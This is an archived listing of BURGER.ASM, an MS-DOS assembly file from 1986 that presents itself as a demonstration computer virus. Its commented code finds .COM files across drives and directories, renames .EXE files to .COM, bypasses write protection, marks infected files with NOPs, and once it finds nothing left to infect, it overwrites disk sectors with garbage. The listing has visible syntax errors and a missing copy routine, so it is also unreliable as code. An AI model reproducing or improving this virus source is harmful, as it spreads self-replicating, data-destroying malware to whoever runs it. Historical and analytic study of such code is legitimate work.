home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BURGER.ASM < prev    next >
Assembly Source File  |  1989-08-09  |  12KB  |  387 lines

  1.  
  2. ***************************************************
  3. ;   Program Virus        
  4. ;   Version 1.1
  5. ;   Writter : R. Burger
  6. ;   Created 1986
  7. ;   This is a demonstration program for computer 
  8. ;   viruses. It has the ability to replace itself.
  9. ;   and thereby modify other programs. Enjoy.
  10. ;**************************************************
  11.  
  12. Code   Segment
  13.        Assume  CS:Code
  14. progr  equ 100h
  15.        ORG progr
  16.  
  17. ;**************************************************
  18. ;   The three NOP's serve as the marker byte of the  
  19. ;   virus which allow it to identify a virus.
  20. ;**************************************************
  21.  
  22. MAIN:
  23.        nop
  24.        nop
  25.        nop
  26.  
  27. ;**************************************************
  28. ;   Initialize the pointers
  29. ;**************************************************
  30.  
  31.        mov ax,00
  32.        mov es:[pointer],ax
  33.        mov es:[counter],ax
  34.        mov es:[disks],al
  35.  
  36. ;**************************************************
  37. ;   Get the selected drive
  38. ;**************************************************
  39.  
  40.        mov ah,19h             ;drive?
  41.        int 21h    
  42.  
  43. ;**************************************************
  44. ;   Get the current path on the current drive
  45. ;**************************************************
  46.  
  47.        mov cs:drive,al        ;save drive
  48.        mov ah,47h             ;dir?
  49.        mov dh,0               
  50.        add al,1
  51.        mov dl,al              ;in actual drive
  52.        lea si,cs:old_path     ;
  53.        int 21h
  54.  
  55. ;**************************************************
  56. ;   Get the number of drives present. If only one   
  57. ;   is present, the pointer for the search order
  58. ;   will be set to serach order + 6
  59. ;**************************************************
  60.  
  61.        mov as,0eh             ;how many disks 
  62.        mov dl,0               ;
  63.        int 21h
  64.  
  65.        mov al,01
  66.        cmp al,01              ;one drive
  67.        jnz hups3
  68.        mov al,06
  69.        
  70. hups3: mov ah,0
  71.        lea bx,search_order
  72.        add bx,ax
  73.        add bx,0001h
  74.        mov cs:pointer,bx
  75.        clc
  76.  
  77. ;**************************************************
  78. ;   Carry is set, if no more .COM's are found.      
  79. ;   Then, to avoid unnecessary work, .EXE files will
  80. ;   be renamed to .COM files and infected.
  81. ;   This causes the error message "Program to large
  82. ;   to fit memory" when starting larger infected
  83. ;   EXE programs.
  84. ;*************************************************
  85.  
  86. change_disk:
  87.       jnc no_name_change
  88.       mov ah,17h              ;change .EXE to .COM
  89.       lea dx,cs:maske_exe
  90.       int 21h
  91.       cmp al,0ffh
  92.       jnz no_name_change      ;.EXE found?
  93.  
  94. ;****************************************************
  95. ;   If neither  .COM nor .EXE is found then sectors
  96. ;   will be overwritten depending on the system time
  97. ;   in milliseconds. This is the time of the complete
  98. ;   "infection" of a storage medium. The virus can
  99. ;   find nothing more to infect and starts its destruction
  100. ;*****************************************************   
  101.  
  102.       mov ah,2ch              ; read system clock
  103.       int 21h
  104.       mov bx,cs:pointer
  105.       mov al,cs:[bx]
  106.       mov bx,dx
  107.       mov cx,2
  108.       mov dh,0
  109.       int 26h                 ; write crap on disk
  110.  
  111. ;******************************************************
  112. ;   Check if the end of the search order table has been
  113. ;   reached . If so, end.
  114. ;******************************************************
  115.  
  116. no_name_change:
  117.       mov bx,cs:pointer
  118.       dec bx
  119.       mov cs:pointer,bx
  120.       mov dl,cs:[bx]
  121.       cmp dl,0ffh
  122.       jnz hups2
  123.       jmp hops
  124.       
  125. ;****************************************************
  126. ;   Get new drive from the search order table and
  127. ;   select it .
  128. ;***************************************************
  129.  
  130. hups2:
  131.       mov ah,0eh
  132.       int 21h                    ;change disk
  133.  
  134. ;***************************************************
  135. ;   Start in the root directory
  136. ;***************************************************  
  137.  
  138.       mov ah,3bh                 ;change path
  139.       lea dx,path
  140.       int 21h
  141.       jmp find_first_file
  142.  
  143. ;**************************************************
  144. ;   Starting from the root, search for the first
  145. ;   subdir. FIrst convert all .EXE files to .COM
  146. ;   in the old directory
  147. ;**************************************************
  148.  
  149. find_first_subdir:
  150.       mov ah,17h                 ;change .exe to .com
  151.       lea dx,cs:maske_exe
  152.       int 21h
  153.       mov ah,3bh                 ;use root directory
  154.       lea dx,path
  155.       int 21h
  156.       mov ah,04eh                ;search for first subdirectory
  157.       mov cx,00010001b           ;dir mask
  158.       lea dx,maske_dir           ;
  159.       int 21h                    ;
  160.       jc change_disk
  161.       mov bx,CS:counter
  162.       INC,BX
  163.       DEC bx
  164.       jz  use_next_subdir
  165.  
  166. ;*************************************************
  167. ;   Search for the next subdirectory. If no more
  168. ;   directories are found, the drive will be changed.
  169. ;*************************************************
  170.  
  171. find_next_subdir:
  172.       mov ah,4fh               ; search for next subdir
  173.       int 21h 
  174.       jc change_disk
  175.       dec bx
  176.       jnz find_next_subdir
  177.  
  178. ;*************************************************
  179. ;   Select found directory.
  180. **************************************************
  181.  
  182. use_next_subdir:      
  183.       mov ah,2fh               ;get dta address
  184.       int 21h
  185.       add bx,1ch
  186.       mov es:[bx],'\`          ;address of name in dta
  187.       inc bx
  188.       push ds
  189.       mov ax,es
  190.       mov ds,ax
  191.       mov dx,bx
  192.       mov ah,3bh               ;change path
  193.       int 21h
  194.       pop ds
  195.       mov bx,cs:counter
  196.       inc bx
  197.       mov CS:counter,bx
  198.  
  199. ;**************************************************
  200. ;    Find first .COM file in the current directory.
  201. ;    If there are none, search the next directory.
  202. ;**************************************************
  203.  
  204. find_first_file:
  205.       mov ah,04eh              ;Search for first
  206.       mov cx,00000001b         ;mask
  207.       lea dx,maske_com         ;
  208.       int 21h                  ;
  209.       jc find_first_subdir
  210.       jmp check_if_ill
  211.  
  212. ;**************************************************
  213. ;   If program is ill(infected) then search for
  214. ;   another other.
  215. ;************************************************** 
  216.  
  217. find_next_file:
  218.       mov ah,4fh               ;search for next
  219.       int 21h
  220.       jc find_first_subdir
  221.  
  222. ;*************************************************
  223. ;   Check is already infected by virus.
  224. **************************************************
  225.  
  226. check_if_ill:
  227.       mov ah,3dh              ;open channel
  228.       mov al,02h              ;read/write
  229.       mov dx,9eh              ;address of name in dta 
  230.       int 21
  231.       mov bx,ax               ;save channel
  232.       mov ah,3fh              ; read file
  233.       mov ch,buflen           ;
  234.       mov dx,buffer           ;write in buffer
  235.       int 21h 
  236.       mov ah,3eh              ;close file
  237.       int 21h  
  238.  
  239. ;***************************************************
  240. ;   This routine will search the three NOP's(no 
  241. ;   operation).If present there is already an infection.
  242. ;   We must then continue the search
  243. ;****************************************************
  244.  
  245.      mov bx,cs:[buffer]
  246.      cmp bx,9090h
  247.      jz find_next_file
  248.  
  249. ;***************************************************
  250. ;   This routine will BY PASS MS-DOS WRITE PROTECTION
  251. ;   if present. Very important !
  252. ;***************************************************
  253.  
  254.      mov ah,43h               ;write enable
  255.      mov al,0          
  256.      mov dx,9eh               ;address of name in dta
  257.      int 21h 
  258.      mov ah,43h
  259.      mov al,01h
  260.      and cx,11111110b
  261.      int 21h
  262.  
  263. ;****************************************************
  264. ;   Open file for read/write access.
  265. *****************************************************
  266.  
  267.      mov ah,3dh               ;open channel
  268.      mov al,02h               ;read/write
  269.      mov dx,9eh               ;address of name in dta
  270.      int 21h
  271.  
  272. ;****************************************************
  273. ;   Read date entry of program and save for future
  274. ;   use.
  275. ;****************************************************
  276.  
  277.     mov bx,ax                ;channel
  278.     mov ah,57h               ;get date
  279.     mov al.0
  280.     int 21h
  281.     push cx                  ;save date
  282.     push dx 
  283.  
  284. ;****************************************************
  285. ;   The jump located at address 0100h of the program
  286. ;   will be saved for further use.
  287. *****************************************************
  288.  
  289.     mov dx,cs:[conta]        ;save old jmp
  290.     mov cs:[jmpbuf],dx
  291.     mov dx,cs:[buffer+1]     ;save new jump
  292.     lea cx,cont-100h
  293.     sub dx,cx
  294.     mov cs:[conta],dx
  295.  
  296. ;***************************************************** 
  297. ;   The virus copies itself to the start of the file. 
  298. ;***************************************************** 
  299.  
  300.     mov ah,57h               ;write date
  301.     mov al,1         
  302.     pop dx
  303.     pop cx                   ;restore date
  304.     int 21h
  305.  
  306. ;*****************************************************
  307. ;   Close the file.
  308. ;*****************************************************
  309.  
  310.     mov ah,3eh               ;close file
  311.     int 21h
  312.  
  313. ;*****************************************************
  314. ;   Restore the old jump address. The virus saves at
  315. ;   address "conta" the jump which was at the start of
  316. ;   the host program.
  317. ;   This is done to preserve the executability of the
  318. ;   host program as much as possible.
  319. ;   After saving it still works with the jump address
  320. ;   contained in the virus. The jump address in the 
  321. ;   virus differs from the jump address in memory.
  322. ;****************************************************
  323.  
  324.     mov dx,cs:[jmpbuf]       ;restore old jump
  325.     mov cs:[conta],dx
  326. hops:  nop
  327.        call use_old
  328.  
  329. ;****************************************************
  330. ;   Continue with the host program.
  331. ;****************************************************
  332.     
  333. cont    db 0e9h                ;make jump
  334. conta   dw 0
  335.         mov ah,00
  336.         int 21h    
  337.  
  338. ;***************************************************
  339. ;   Reactivate the selected drive at the start of  
  340. ;   the program.
  341. ;***************************************************
  342.  
  343. use_old:
  344.         mov ah,0eh             ;use old drive
  345.         mov dl,cs:drive 
  346.         int 21h 
  347.  
  348. ;*************************************************** 
  349. ;    Reactivate the selected path at the start of
  350. ;    the program.
  351. ;***************************************************
  352.  
  353.         mov ah,3bh             ;use old drive
  354.         lea dx,old_path-1      ;get old path and backslash
  355.         int 21h
  356.         ret
  357.  
  358. search_order db 0ffh,1,0,2,3,0ffh,00,offh
  359. pointer      dw   0000           ;pointer f. search order
  360. counter      dw   0000           ;counter f. nth. search 
  361. disks        db    0             ;number of disks
  362.  
  363. maske_com    db "*.com",00       ;search for com files
  364. maske_dir    db "*",00           ;search for dir's
  365. maske_exe    db offh,0,0,0,0,0,00111111b 
  366.              db 0,"????????exe",0,0,0,0
  367.              db 0,"????????com",0
  368. maske_all    db offh,0,0,0,0,0,00111111b
  369.              db 0,"???????????",0,0,0,0
  370.              db 0,"????????com",0
  371.  
  372. buffer equ 0e00h                 ;a safe place
  373.  
  374. buflen equ 230h                  ;lenght of virus!!!!
  375.                                  ;carefull
  376.                                  ;if changing!!!!
  377. jmpbuf equ buffer+buflen         ;a safe place for jmp
  378. path  db "\",0                   ;first place
  379. drive db 0                       ;actual drive
  380. back_slash db "\"
  381. old_path db 32 dup (?)           ;old path
  382.  
  383. code ends
  384.  
  385. end main
  386.  
  387.